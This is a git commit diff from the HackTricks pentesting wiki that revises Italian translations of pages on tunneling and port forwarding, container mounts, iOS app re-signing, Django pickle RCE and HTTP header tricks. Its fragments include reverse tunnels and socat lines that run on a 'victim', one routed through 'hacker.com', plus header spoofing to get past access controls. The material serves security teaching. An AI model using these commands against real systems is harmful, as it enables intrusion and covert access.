mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
f172cba733
commit
2a3e5fa312
@ -1,11 +1,11 @@
|
||||
# Tunneling e Port Forwarding
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Suggerimento Nmap
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **scansioni TCP** (`-sT`) affinché questo funzioni.
|
||||
> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **TCP scans** (`-sT`) affinché questo funzioni.
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -94,7 +94,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
## SSHUTTLE
|
||||
|
||||
Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\
|
||||
Ad esempio, inoltrando tutto il traffico verso 10.10.10.0/24
|
||||
Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -294,9 +294,7 @@ Puoi bypassare un **proxy non autenticato** eseguendo questa riga invece dell'ul
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### Tunnel SSL Socat
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh console**
|
||||
|
||||
@ -326,7 +324,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
È come una versione console di PuTTY (le opzioni sono molto simili a quelle di un client ssh).
|
||||
|
||||
Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio ssh e la porta in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina:
|
||||
Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio e la nostra porta ssh in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -360,7 +358,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**.
|
||||
|
||||
**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
**Connettersi** tramite **RDP** e caricare ed eseguire nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -368,7 +366,7 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare da proxy al traffico attraverso quella porta.**
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare il proxy del traffico attraverso quella porta.**
|
||||
|
||||
## Proxifica le app GUI di Windows
|
||||
|
||||
@ -387,7 +385,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Autenticandosi contro un proxy, crea un collegamento a una porta locale che è inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Autenticandosi contro un proxy, crea un binding di una porta localmente che è inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Ad esempio, inoltra la porta 443.
|
||||
```
|
||||
Username Alice
|
||||
@ -409,7 +407,7 @@ Un reverse proxy creato da Microsoft. Puoi trovarlo qui: [https://github.com/mic
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare dati tra di essi utilizzando query DNS.
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare i dati tra di essi utilizzando query DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -574,7 +572,7 @@ Inizia il connettore:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Perché tutto il traffico esce dall'host **in uscita su 443**, i tunnel Cloudflared sono un modo semplice per bypassare le ACL in ingresso o i confini NAT. Tieni presente che il binario di solito viene eseguito con privilegi elevati – utilizza contenitori o il flag `--user` quando possibile.
|
||||
Perché tutto il traffico esce dall'host **in uscita su 443**, i tunnel Cloudflared sono un modo semplice per bypassare le ACL di ingresso o i confini NAT. Tieni presente che il binario di solito viene eseguito con privilegi elevati – utilizza contenitori o il flag `--user` quando possibile.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
|
@ -108,17 +108,17 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Interfaccia alternativa per `/dev/kmem`, rappresenta la memoria virtuale del kernel.
|
||||
- Consente lettura e scrittura, quindi modifica diretta della memoria del kernel.
|
||||
- Interfaccia alternativa per `/dev/kmem`, che rappresenta la memoria virtuale del kernel.
|
||||
- Consente la lettura e la scrittura, quindi la modifica diretta della memoria del kernel.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Interfaccia alternativa per `/dev/mem`, rappresenta la memoria fisica.
|
||||
- Consente lettura e scrittura, la modifica di tutta la memoria richiede la risoluzione degli indirizzi virtuali in fisici.
|
||||
- Interfaccia alternativa per `/dev/mem`, che rappresenta la memoria fisica.
|
||||
- Consente la lettura e la scrittura, la modifica di tutta la memoria richiede la risoluzione degli indirizzi virtuali in fisici.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Restituisce informazioni sulla pianificazione dei processi, bypassando le protezioni dello spazio dei nomi PID.
|
||||
- Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni dello spazio dei nomi PID.
|
||||
- Espone nomi di processi, ID e identificatori cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
@ -273,10 +273,10 @@ So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 9 gen 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 11 gen 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 9 gen 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 9 gen 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
drwx--x--- 4 root root 4096 9 gen 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 11 gen 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 9 gen 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 9 gen 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
|
||||
@ -294,7 +294,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
|
||||
```text
|
||||
/run/containerd/containerd.sock # socket CRI di containerd
|
||||
/var/run/crio/crio.sock # socket di runtime CRI-O
|
||||
/run/podman/podman.sock # API di Podman (con root o senza root)
|
||||
/run/podman/podman.sock # API di Podman (con privilegi o senza privilegi)
|
||||
/var/run/kubelet.sock # API di Kubelet sui nodi Kubernetes
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
|
@ -4,28 +4,28 @@
|
||||
|
||||
## Idea principale
|
||||
|
||||
Le applicazioni firmate con l'**entitlement `get_task_allow`** consentono alle applicazioni di terze parti di eseguire una funzione chiamata **`task_for_pid()`** con l'ID del processo dell'applicazione iniziale come argomento per ottenere la porta del task (essere in grado di controllarla e accedere alla sua memoria).
|
||||
Le applicazioni firmate con l'**entitlement `get_task_allow`** consentono alle applicazioni di terze parti di eseguire una funzione chiamata **`task_for_pid()`** con l'ID del processo dell'applicazione iniziale come argomento per ottenere la porta del task (essere in grado di controllarlo e accedere alla sua memoria).
|
||||
|
||||
Tuttavia, non è così semplice come estrarre l'IPA, firmarlo nuovamente con l'entitlement e ricaricarlo sul tuo dispositivo. Questo a causa della protezione FairPlay. Quando la firma dell'app cambia, la chiave DRM (Digital Rights Management) è **annullata e l'app non funzionerà**.
|
||||
|
||||
Con un vecchio dispositivo jailbroken, è possibile installare l'IPA, **decrittografarlo utilizzando il tuo strumento preferito** (come Iridium o frida-ios-dump) e estrarlo di nuovo dal dispositivo. Anche se, se possibile, è consigliato chiedere semplicemente al cliente per l'IPA decrittografato.
|
||||
Con un vecchio dispositivo jailbroken, è possibile installare l'IPA, **decrittarlo utilizzando il tuo strumento preferito** (come Iridium o frida-ios-dump) e estrarlo di nuovo dal dispositivo. Anche se, se possibile, è consigliato chiedere al cliente l'IPA decrittato.
|
||||
|
||||
## Ottenere l'IPA decrittografato
|
||||
## Ottenere l'IPA decrittato
|
||||
|
||||
### Ottienilo da Apple
|
||||
|
||||
1. Installa l'app da pentest sull'iPhone
|
||||
1. Installa l'app da pentestare sull'iPhone
|
||||
2. Installa e avvia [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) sul tuo macos
|
||||
3. Apri `Terminal` sul tuo Mac e cd a `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. L'IPA apparirà in questa cartella più tardi.
|
||||
4. Dovresti vedere il tuo dispositivo iOS. Fai doppio clic su di esso e poi clicca su Aggiungi + → App dalla barra dei menu in alto.
|
||||
5. Dopo aver cliccato su Aggiungi, Configurator scaricherà l'IPA da Apple e tenterà di inviarlo al tuo dispositivo. Se hai seguito la mia raccomandazione precedente e hai già installato l'IPA, apparirà un messaggio che ti chiederà di reinstallare l'app.
|
||||
4. Dovresti vedere il tuo dispositivo iOS. Fai doppio clic su di esso, quindi clicca su Aggiungi + → App dalla barra dei menu in alto.
|
||||
5. Dopo aver cliccato su Aggiungi, Configurator scaricherà l'IPA da Apple e tenterà di installarlo sul tuo dispositivo. Se hai seguito la mia raccomandazione precedente e hai già installato l'IPA, apparirà un messaggio che ti chiede di reinstallare l'app.
|
||||
6. L'IPA dovrebbe essere scaricato all'interno di `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` da dove puoi prenderlo.
|
||||
|
||||
Controlla [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) per informazioni più dettagliate su questo processo.
|
||||
Controlla [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) per ulteriori informazioni dettagliate su questo processo.
|
||||
|
||||
### Decrittografare l'app
|
||||
### Decrittazione dell'app
|
||||
|
||||
Per decrittografare l'IPA, lo installeremo. Tuttavia, se hai un vecchio iPhone jailbroken, potenzialmente la sua versione non sarà supportata dall'applicazione poiché di solito le app supportano solo le ultime versioni.
|
||||
Per decrittare l'IPA, lo installeremo. Tuttavia, se hai un vecchio iPhone jailbroken, potenzialmente la sua versione non sarà supportata dall'applicazione poiché di solito le app supportano solo le ultime versioni.
|
||||
|
||||
Quindi, per installarlo, basta estrarre l'IPA:
|
||||
```bash
|
||||
@ -33,7 +33,7 @@ unzip redacted.ipa -d unzipped
|
||||
```
|
||||
Controlla il `Info.plist` per la versione minima supportata e se il tuo dispositivo è più vecchio di quella, modifica il valore in modo che sia supportato.
|
||||
|
||||
Zip indietro l'IPA:
|
||||
Comprimi di nuovo l'IPA:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
@ -49,7 +49,7 @@ Una volta installato, puoi utilizzare il **tweak Iridium** da Cydia per ottenere
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Per ri-firmare l'applicazione con il diritto `get-task-allow`, ci sono diversi strumenti disponibili come `app-signer`, `codesign` e `iResign`. `app-signer` ha un'interfaccia molto user-friendly che consente di ri-firmare molto facilmente un file IPA indicando l'IPA da ri-firmare, per **metterlo `get-task-allow`** e il certificato e il profilo di provisioning da utilizzare.
|
||||
Per ri-firmare l'applicazione con l'entitlement `get-task-allow`, ci sono diversi strumenti disponibili come `app-signer`, `codesign` e `iResign`. `app-signer` ha un'interfaccia molto user-friendly che consente di ri-firmare molto facilmente un file IPA indicando l'IPA da ri-firmare, per **metterlo `get-task-allow`** e il certificato e il profilo di provisioning da utilizzare.
|
||||
|
||||
Per quanto riguarda i certificati e i profili di firma, Apple offre **profili di firma per sviluppatori gratuiti** per tutti gli account tramite Xcode. Basta creare un'app e configurarne uno. Poi, configura l'**iPhone per fidarsi delle app degli sviluppatori** navigando su `Impostazioni` → `Privacy e Sicurezza`, e clicca su `Modalità Sviluppatore`.
|
||||
|
||||
@ -67,7 +67,7 @@ Dall'iOS 16 Apple ha introdotto la **Modalità Sviluppatore**: qualsiasi binario
|
||||
2. Naviga su **Impostazioni → Privacy e Sicurezza → Modalità Sviluppatore** e attivala.
|
||||
3. Il dispositivo si riavvierà; dopo aver inserito il codice di accesso ti verrà chiesto di **Attivare** la Modalità Sviluppatore.
|
||||
|
||||
La Modalità Sviluppatore rimane attiva fino a quando non la disabiliti o non ripristini il telefono, quindi questo passaggio deve essere eseguito solo una volta per dispositivo. [Documentazione Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) spiega le implicazioni di sicurezza.
|
||||
La Modalità Sviluppatore rimane attiva fino a quando non la disabiliti o non ripristini il telefono, quindi questo passaggio deve essere eseguito solo una volta per dispositivo. [La documentazione Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) spiega le implicazioni di sicurezza.
|
||||
|
||||
### Opzioni moderne di sideloading
|
||||
|
||||
@ -102,12 +102,12 @@ docker run -p 8000:8000 --privileged \
|
||||
opensecurity/mobile-security-framework-mobsf:latest
|
||||
# Browse to http://127.0.0.1:8000 and upload your resigned IPA
|
||||
```
|
||||
MobSF distribuirà automaticamente il binario, abiliterà un server Frida all'interno della sandbox dell'app e genererà un rapporto interattivo.
|
||||
MobSF distribuirà automaticamente il binario, abiliterà un server Frida all'interno della sandbox dell'app e genererà un report interattivo.
|
||||
|
||||
### iOS 17 e avvertenze sulla modalità Lockdown
|
||||
### iOS 17 & avvertenze sulla modalità Lockdown
|
||||
|
||||
* **Modalità Lockdown** (Impostazioni → Privacy e Sicurezza) blocca il linker dinamico dal caricare librerie dinamiche non firmate o firmate esternamente. Quando si testano dispositivi che potrebbero avere questa modalità abilitata, assicurati che sia **disabilitata** o le tue sessioni Frida/objection termineranno immediatamente.
|
||||
* L'Autenticazione dei Puntatori (PAC) è applicata a livello di sistema sui dispositivi A12+. Frida ≥16 gestisce in modo trasparente la rimozione del PAC: basta mantenere aggiornati sia *frida-server* che la toolchain Python/CLI quando viene rilasciata una nuova versione principale di iOS.
|
||||
* L'Autenticazione del Puntatore (PAC) è applicata a livello di sistema sui dispositivi A12+. Frida ≥16 gestisce in modo trasparente la rimozione del PAC: basta mantenere aggiornati sia *frida-server* che la toolchain Python/CLI quando viene rilasciata una nuova versione principale di iOS.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## Manipolazione della Cache per RCE
|
||||
Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
|
||||
@ -37,7 +37,7 @@ Lo stesso gadget funziona per le funzionalità di rendering dei template di **De
|
||||
|
||||
---
|
||||
|
||||
## RCE da Cookie di Sessione Basato su Pickle
|
||||
## RCE con Cookie di Sessione Basato su Pickle
|
||||
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decritta e deserializza* il cookie di sessione **prima** di chiamare qualsiasi codice di vista. Pertanto, possedere una chiave di firma valida (il `SECRET_KEY` del progetto per impostazione predefinita) è sufficiente per un'immediata esecuzione remota di codice.
|
||||
|
||||
### Requisiti per l'Exploit
|
||||
@ -66,7 +66,7 @@ Invia il cookie risultante e il payload viene eseguito con i permessi del worker
|
||||
|
||||
## Recenti (2023-2025) CVE Django ad Alto Impatto che i Pentester Dovrebbero Controllare
|
||||
* **CVE-2025-48432** – *Iniezione di Log tramite `request.path` non escapato* (risolto il 4 giugno 2025). Consente agli attaccanti di introdurre nuove righe/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Iniezione SQL critica* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dalla quotazione ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
|
||||
* **CVE-2024-42005** – *Iniezione SQL critica* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dalle virgolette ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
|
||||
|
||||
Fingerprint sempre la versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
|
||||
|
||||
@ -76,4 +76,4 @@ Fingerprint sempre la versione esatta del framework tramite la pagina di errore
|
||||
* Rilascio di sicurezza Django – "Django 5.2.2, 5.1.10, 4.2.22 affrontano CVE-2025-48432" – 4 giu 2025.
|
||||
* OP-Innovate: "Django rilascia aggiornamenti di sicurezza per affrontare il difetto di iniezione SQL CVE-2024-42005" – 11 ago 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -1,15 +1,15 @@
|
||||
# Special HTTP headers
|
||||
# Intestazioni HTTP speciali
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wordlists & Tools
|
||||
## Elenchi di parole e strumenti
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## Headers to Change Location
|
||||
## Intestazioni per cambiare posizione
|
||||
|
||||
Rewrite **IP source**:
|
||||
Riscrivi **IP sorgente**:
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -26,16 +26,16 @@ Rewrite **IP source**:
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Controlla gli header hop-by-hop)
|
||||
- `Connection: close, X-Forwarded-For` (Controlla le intestazioni hop-by-hop)
|
||||
|
||||
Rewrite **location**:
|
||||
Riscrivi **posizione**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Hop-by-Hop headers
|
||||
## Intestazioni Hop-by-Hop
|
||||
|
||||
Un header hop-by-hop è un header progettato per essere elaborato e consumato dal proxy che gestisce attualmente la richiesta, a differenza di un header end-to-end.
|
||||
Un'intestazione hop-by-hop è un'intestazione progettata per essere elaborata e consumata dal proxy che gestisce attualmente la richiesta, a differenza di un'intestazione end-to-end.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -52,14 +52,14 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Cache Headers
|
||||
## Intestazioni di Cache
|
||||
|
||||
**Server Cache Headers**:
|
||||
**Intestazioni di Cache del Server**:
|
||||
|
||||
- **`X-Cache`** nella risposta può avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache
|
||||
- Comportamento simile nell'header **`Cf-Cache-Status`**
|
||||
- Comportamento simile nell'intestazione **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indica se una risorsa è memorizzata nella cache e quando sarà la prossima volta che la risorsa sarà memorizzata di nuovo: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** è spesso usato nella risposta per **indicare header aggiuntivi** che sono trattati come **parte della chiave della cache** anche se normalmente non sono chiave.
|
||||
- **`Vary`** è spesso usato nella risposta per **indicare intestazioni aggiuntive** che sono trattate come **parte della chiave di cache** anche se normalmente non sono chiave.
|
||||
- **`Age`** definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** indica anche che una risorsa è stata memorizzata nella cache
|
||||
|
||||
@ -67,53 +67,53 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**Local Cache headers**:
|
||||
**Intestazioni di Cache Locali**:
|
||||
|
||||
- `Clear-Site-Data`: Header per indicare la cache che dovrebbe essere rimossa: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Clear-Site-Data`: Intestazione per indicare la cache che dovrebbe essere rimossa: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contiene la data/ora in cui la risposta dovrebbe scadere: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` stesso di `Cache-Control: no-cache`
|
||||
- `Warning`: L'header generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Più di un header `Warning` può apparire in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: L'intestazione HTTP generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Più di un'intestazione `Warning` può apparire in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Conditionals
|
||||
## Condizionali
|
||||
|
||||
- Le richieste che utilizzano questi header: **`If-Modified-Since`** e **`If-Unmodified-Since`** riceveranno una risposta con dati solo se l'header di risposta **`Last-Modified`** contiene un orario diverso.
|
||||
- Le richieste che utilizzano queste intestazioni: **`If-Modified-Since`** e **`If-Unmodified-Since`** riceveranno una risposta con dati solo se l'intestazione di risposta **`Last-Modified`** contiene un orario diverso.
|
||||
- Le richieste condizionali che utilizzano **`If-Match`** e **`If-None-Match`** usano un valore Etag in modo che il server web invii il contenuto della risposta se i dati (Etag) sono cambiati. L'`Etag` è preso dalla risposta HTTP.
|
||||
- Il valore **Etag** è solitamente **calcolato** in base al **contenuto** della risposta. Ad esempio, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica che l'`Etag` è il **Sha1** di **37 byte**.
|
||||
|
||||
## Range requests
|
||||
## Richieste di intervallo
|
||||
|
||||
- **`Accept-Ranges`**: Indica se il server supporta richieste di intervallo e, in tal caso, in quale unità l'intervallo può essere espresso. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica la parte di un documento che il server dovrebbe restituire. Ad esempio, `Range:80-100` restituirà i byte da 80 a 100 della risposta originale con un codice di stato di 206 Contenuto Parziale. Ricorda anche di rimuovere l'header `Accept-Encoding` dalla richiesta.
|
||||
- Questo potrebbe essere utile per ottenere una risposta con codice JavaScript riflesso arbitrario che altrimenti potrebbe essere sfuggito. Ma per abusare di questo dovresti iniettare questi header nella richiesta.
|
||||
- **`Range`**: Indica la parte di un documento che il server dovrebbe restituire. Ad esempio, `Range:80-100` restituirà i byte da 80 a 100 della risposta originale con un codice di stato di 206 Contenuto Parziale. Ricorda anche di rimuovere l'intestazione `Accept-Encoding` dalla richiesta.
|
||||
- Questo potrebbe essere utile per ottenere una risposta con codice JavaScript riflesso arbitrario che altrimenti potrebbe essere sfuggito. Ma per abusare di questo dovresti iniettare queste intestazioni nella richiesta.
|
||||
- **`If-Range`**: Crea una richiesta di intervallo condizionale che viene soddisfatta solo se l'etag o la data forniti corrispondono alla risorsa remota. Usato per prevenire il download di due intervalli da versioni incompatibili della risorsa.
|
||||
- **`Content-Range`**: Indica dove in un messaggio a corpo completo appartiene un messaggio parziale.
|
||||
|
||||
## Message body information
|
||||
## Informazioni sul corpo del messaggio
|
||||
|
||||
- **`Content-Length`:** La dimensione della risorsa, in numero decimale di byte.
|
||||
- **`Content-Type`**: Indica il tipo di media della risorsa
|
||||
- **`Content-Encoding`**: Usato per specificare l'algoritmo di compressione.
|
||||
- **`Content-Language`**: Descrive la/e lingua/e umana/e destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
|
||||
- **`Content-Language`**: Descrive la lingua umana o le lingue destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
|
||||
- **`Content-Location`**: Indica una posizione alternativa per i dati restituiti.
|
||||
|
||||
Dal punto di vista di un pentest, queste informazioni sono solitamente "inutili", ma se la risorsa è **protetta** da un 401 o 403 e riesci a trovare un **modo** per **ottenere** queste **info**, questo potrebbe essere **interessante.**\
|
||||
Ad esempio, una combinazione di **`Range`** e **`Etag`** in una richiesta HEAD può rivelare il contenuto della pagina tramite richieste HEAD:
|
||||
|
||||
- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che il SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- Una richiesta con l'intestazione `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che il SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Server Info
|
||||
## Info del Server
|
||||
|
||||
- `Server: Apache/2.4.1 (Unix)`
|
||||
- `X-Powered-By: PHP/5.3.3`
|
||||
|
||||
## Controls
|
||||
## Controlli
|
||||
|
||||
- **`Allow`**: Questo header è usato per comunicare i metodi HTTP che una risorsa può gestire. Ad esempio, potrebbe essere specificato come `Allow: GET, POST, HEAD`, indicando che la risorsa supporta questi metodi.
|
||||
- **`Expect`**: Utilizzato dal client per comunicare le aspettative che il server deve soddisfare affinché la richiesta venga elaborata con successo. Un caso d'uso comune coinvolge l'header `Expect: 100-continue`, che segnala che il client intende inviare un grande payload di dati. Il client cerca una risposta `100 (Continue)` prima di procedere con la trasmissione. Questo meccanismo aiuta a ottimizzare l'uso della rete attendendo la conferma del server.
|
||||
- **`Allow`**: Questa intestazione è utilizzata per comunicare i metodi HTTP che una risorsa può gestire. Ad esempio, potrebbe essere specificato come `Allow: GET, POST, HEAD`, indicando che la risorsa supporta questi metodi.
|
||||
- **`Expect`**: Utilizzato dal client per comunicare le aspettative che il server deve soddisfare affinché la richiesta venga elaborata con successo. Un caso d'uso comune coinvolge l'intestazione `Expect: 100-continue`, che segnala che il client intende inviare un grande payload di dati. Il client cerca una risposta `100 (Continue)` prima di procedere con la trasmissione. Questo meccanismo aiuta a ottimizzare l'uso della rete attendendo la conferma del server.
|
||||
|
||||
## Downloads
|
||||
## Download
|
||||
|
||||
- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Ad esempio:
|
||||
